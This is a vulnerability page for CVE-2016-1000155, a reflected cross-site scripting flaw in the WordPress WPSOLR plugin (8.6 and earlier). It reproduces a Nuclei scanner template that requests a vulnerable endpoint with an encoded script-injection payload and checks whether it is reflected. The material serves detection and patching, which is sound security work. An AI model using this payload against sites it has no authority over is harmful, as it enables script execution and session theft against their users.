CVE-2016-1000155: WordPress WPSOLR <=8.6 - Cross-Site Scripting

2025-08-01 WordPress WPSOLR PoC Public

Description

WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2016-1000155

info:
  name: WordPress WPSOLR <=8.6 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to the latest version of WPSOLR plugin (8.7 or higher).
  reference:
    - https://wordpress.org/plugins/wpsolr-search-engine
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=303
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000155
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000155
    cwe-id: CWE-79
    epss-score: 0.04486
    epss-percentile: 0.90977
    cpe: cpe:2.3:a:wpsolr:wpsolr-search-engine:7.6:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpsolr
    product: "wpsolr-search-engine"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,wpsolr,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wpsolr-search-engine/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WPSOLR Search Engine ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009e8f96da163cdfe0aea50d8cada2a71d1ae2e7390a954d845b414e81764b78cc02210090f10eeb7d5664ac1b4e887ced610789b5daf4a46e30e359468c5d74aa845dad:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000155.yaml

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